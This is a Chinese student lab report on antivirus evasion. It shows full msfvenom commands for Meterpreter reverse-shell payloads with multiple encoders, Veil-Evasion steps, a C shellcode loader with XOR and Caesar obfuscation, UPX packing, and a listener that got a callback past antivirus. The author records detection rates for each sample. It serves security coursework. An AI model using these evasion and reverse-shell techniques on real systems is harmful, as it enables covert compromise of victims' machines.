1.实践内容
1.1 本周知识总结
-
深入学习关于缓冲区溢出的基础知识。
-
学习了关于后门的一些基础知识。
1.2 回答问题
(1)杀软是如何检测出恶意代码的?
-
病毒特征码检测
-
加密文件分析
-
基于行为检测的主动防御
-
病毒云查杀
(2)免杀是做什么?
免杀,即Anti-AntiVirus(简写Virus AV),也就是反病毒技术。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
-
加密和混淆: 恶意代码作者会对其代码进行加密或混淆,使其难以被静态分析或特征匹配检测到。
-
多次性变异: 恶意代码会采用多次性变异的方式生成不同的变种,以避免被杀软检测到。这可能包括修改代码的结构、添加无害的指令、改变代码的执行顺序等。
-
反沙箱技术: 恶意代码会检测是否运行在沙箱环境中,并采取不同的行为以规避沙箱分析。
-
针对杀软的特定漏洞: 恶意代码作者可能会利用杀软的漏洞来规避其检测,例如利用杀软的缺陷使其无法正确识别恶意代码。
-
动态加载: 恶意代码可能会动态加载其恶意功能,使得静态分析难以发现其恶意行为。
-
利用合法软件: 恶意代码作者可能会利用合法软件的漏洞或功能来执行其恶意行为,以规避杀软的检测。
1.3 实验要求
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
-
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
veil,加壳工具
-
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1 msf编码器
(1)msfvenom介绍
Metasploit独立有效载荷生成器,也是msfpayload和msfencode的替代品。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。
(2)产生不同编码次数的文件
这里我使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代(即生成最终有效负载之前必须执行多少次编码传递,这样做可以隐身或防病毒规避),通过检出率观察免杀效果是否有变化。
编码0、1、10、60次 |
---|
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en0.exe #无编码 |
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en1.exe #编码1次 |
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en10.exe #编码10次 |
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en60.exe #编码60次 |
(3)不同输出文件
jar文件、php文件、python文件、apk文件 |
---|
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ja20222427.jar #jar文件 |
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ph20222427.php #php文件 |
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> py20222427.py #python文件 |
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 x> ap20222427.apk #apk文件(这里不使用“-b '\x00'”,因为没有指定编码器,使用的话会报错) |
(4)免杀效果测试
将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与部分检测截图如下。(使用VirusTotal的截图)
根据下表可知,多次编码的免杀效果微乎其微,而不同的payload对免杀效果的影响较大,meterpreter运行在python和php上免杀效果是相对最好的。
文件名 | payload | 编码器 | 编码次数 | 输出格式 | VirusTotal | Virscan |
---|---|---|---|---|---|---|
en0.exe | windows/meterpreter/reverse_tcp | 无 | 0 | exe | 61/73 | 28/48 |
en1.exe | windows/meterpreter/reverse_tcp | x86/shikata_ga_nai | 1 | exe | 62/73 | 29/48 |
en10.exe | windows/meterpreter/reverse_tcp | x86/shikata_ga_nai | 10 | exe | 61/73 | 26/48 |
en60.exe | windows/meterpreter/reverse_tcp | x86/shikata_ga_nai | 60 | exe | 61/73 | 25/48 |
ja20222427.jar | java/meterpreter/reverse_tcp | 无 | 0 | jar | 34/63 | 8/22 |
ph20222427.php | php/meterpreter/reverse_tcp | 无 | 0 | php | 26/63 | 7/48 |
py20222427.py | python/meterpreter/reverse_tcp | 无 | 0 | py | 18/64 | 6/48 |
ap20222427.apk | android/meterpreter/reverse_tcp | 无 | 0 | apk | 61/73 | 10/48 |
2.2 Veil-Evasion
1.使用方法
vile
#进入veil工具
use evasion
#进入evasion模块
use c/meterpreter/rev_tcp.py
#选择payload # 这里也可以先用“list”查看所有可选择的payload,然后直接使用“use payload序号”来选择payload
set LHOST 192.168.125.130
#设置IP
set LPORT 2427
#设置端口
options
#查看配置内容
generate
#执行payload
20222427xwtveil1
#输入生成文件的名称
- 实验过程
在本次实验中,我使用Veil-Evasion选择了不同的payload分别生成2个文件。
20222427xwtveil1.exe使用c/meterpreter/rev_tcp.py
作为payload;
20222427xwtveil2.exe使用python/meterpreter/rev_tcp.py
作为payload。
20222427xwtveil1.exe生成过程:
20222427xwtveil2.exe生成过程:
过程中需要对的库进行选择,这里我选择的是Py2Exe:
如果使用Pyinstaller,payload会转成能够直接使用的可执行程序;(但是我一直无法成功)
如果使用Py2Exe,把payload.py和两个相关的文件放到windows系统上,执行批处理脚本将payload转换成可执行程序。
免杀效果测试:
根据下表总结的检出率、结合2.1中4个exe文件的免杀效果可知,面对如今不断发展进化的杀毒软件,Veil-Evasion的免杀效果比msfvenom有所提升。
文件名 | 攻击载荷payload | VirusTotal | Virscan |
---|---|---|---|
20222427xwtveil1.exe | c/meterpreter/rev_tcp.py | 45/73 | 18/48 |
20222427xwtveil2.exe | python/meterpreter/rev_tcp.py | 12/63 | 3/48 |
2.3 C+shellcode编程+w64-mingw32
- 实现过程
这里我首先使用msfvenom生成一个Shellcode数组,再使用该数组编写程序。根据实验指导书,选择了不同的payload和编码器分别生成2个程序。
该方法具体实现过程如下:
(1)生成Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c
#生成一个c语言格式的Shellcode数组
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c
#使用不同编码器
(2)编写程序
vim 2427.c
#进入编辑器编写程序
程序内容如下:
unsigned char buf[] = 之前获得的shellcode;
int main()
{
int (func)() = (int()())buf;
func();
}
(3)编译
i686-w64-mingw32-g++ 20192415cshell.c -o
#编译器在64位系统上构建32位应用程序
2427.exe基于2427.c,payload为windows/meterpreter/reverse_tcp且不进行编码:
2427X.exe基于2427X.c,payload为windows/meterpreter/reverse_https且由x86/bloxor编码一次:
免杀效果测试:
相较于msfvenom和Veil-Evasion,“C+shellcode编程+w64-mingw32”的免杀效果应该会更好一些,但是这次试验却没有体现出来。
文件名 | 攻击载荷payload | 编码器 | 编码次数 | 输出格式 | VirusTotal | Virscan |
---|---|---|---|---|---|---|
2427.exe | windows/meterpreter/reverse_tcp | 无 | 0 | exe | 45/73 | 14/48 |
2427X.exe | windows/meterpreter/reverse_https | x86/bloxor | 1 | exe | 31/73 | 10/48 |
2.4 组合应用各种技术实现恶意代码免杀
2.4.1 C+shellcode编程 + 异或 + 加密壳 + 压缩壳
(1)C+shellcode编程
使用 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.125.130 LPORT=2427 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c
得到一个shellcode
(2)异或
首先将(1)中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode。
编写程序时在main函数中再次进行异或,这样两次异或后又回到了原来的Shellcode,但生成的exe却会有多不同,最后进行编译得到2427XOR.exe。异或相关代码如下:
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 0x01;
}
(3)加密壳
(4)压缩壳
upx 2427_1.exe -o 2427_2.exe #加密后再压缩 |
---|
upx 2427XOR.exe -o 2427press.exe #仅压缩 |
(5)免杀效果测试
由下表可知,加密壳反而会使检出率提高免杀效果下降,压缩壳的能稍提高免杀效果。不加任何壳反而免杀效果不错。
文件名 | 加密 | 压缩 | VirusTotal | Virscan |
---|---|---|---|---|
2427XOR.exe | 否 | 否 | 12/72 | 3/51 |
2427_1.exe | 是 | 否 | 47/69 | 13/51 |
2427_2.exe | 是 | 是 | 29/72 | 10/51 |
2427press.exe | 否 | 是 | 33/72 | 3/48 |
2.4.2 C+shellcode编程 + 凯撒加密
(1)C+shellcode编程
使用msfvenom -p windows/x64/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c
获得shellcode
使用Vscode,新建20222427jiami.c文件,输入代码,代码功能为将复制内容放入buf[]数组中,通过代码将shellcode1进行凯撒加密,将密文输入到2427jiami.txt文件中;
在同文件夹下新建空文件2427jiami.txt,用以存放密文
代码如图所示:
编辑并运行该c文件,得到相应的2427jiami.txt文件,新建一个2427jiemi.c文件,输入代码,代码功能为读取2427jiami.txt文件中的内容到shellcode1[]数组中,并进行解密,再运行shellcode。
代码如图所示:
编译该文件,打开文件所在位置,可以看到如下文件:
2427jiemi.exe为我们所需要的文件。
与查杀软件共存:
2.5 用电脑实测,在杀软开启的情况下,可运行并回连成功
在kali中使用msfconsole指令进入msf控制台,对msf控制台进行配置;
依次输入以下命令:
msfconsole #进入msf控制台 |
---|
use exploit/multi/handler 使用监听模块,设置payload |
set payload windows/x64/meterpreter/reverse_tcp 使用和生成后门程序时相同的payload |
set LHOST 192.168.125.130 和生成后门程序时指定的IP相同 |
set LPORT 2427 |
exploit #开始监听 |
在Windows里运行2427jiemi.exe,返回kali,发现已经监听成功。
说明我们回连成功。
3.问题及解决方案
- 问题1:安装veil时一直报错,提示找不到相应的文件(如图所示)。
-
问题1解决方案:经过和同学交流,得知如果在安装veil时不能顺便下载Ruby包,只能自己手工下载相应的压缩包,再用相应的传输工具将包从Windows传到kali中。
-
问题2:在生成第二个veil文件时,使用Pyinstaller一直不成功。
-
问题2解决方案:经过网上查资料,但一直无法解决该问题,只得选择第2个方法Py2Exe,发现使用第二个方法并没有遇到任何问题。
-
问题3:最开始生成shellcode时使用的是
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c
,发现最后生成的恶意可执行文件打开后几秒便消失了,无法运行到底。 -
问题3解决方案:更换版本,使用
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c
,最后成功运行。
4.学习感悟
-
安装veil工具十分的麻烦,感觉我花了几个小时去安装、重装veil,每次遇到的问题都千奇百怪,比如:镜像出错连接不到GitHub官网,找不到相应的安装包等问题。最后经过询问同学才得以解决一系列问题。
-
在运行恶意代码时,火绒遇到所有有漏洞的文件都会立刻查杀,导致我的许多可执行文件执行不到几秒就消失了,可以看出电脑杀毒软件的强大,也感叹于这些杀毒软件对于电脑的保护作用。
-
做实验需要的就是保持冷静,遇到问题不能慌乱。在这次实验中,安装veil以及最后的监听过程都花费了我十分多的时间,但只有坚持才能解决问题,完成相应的实验。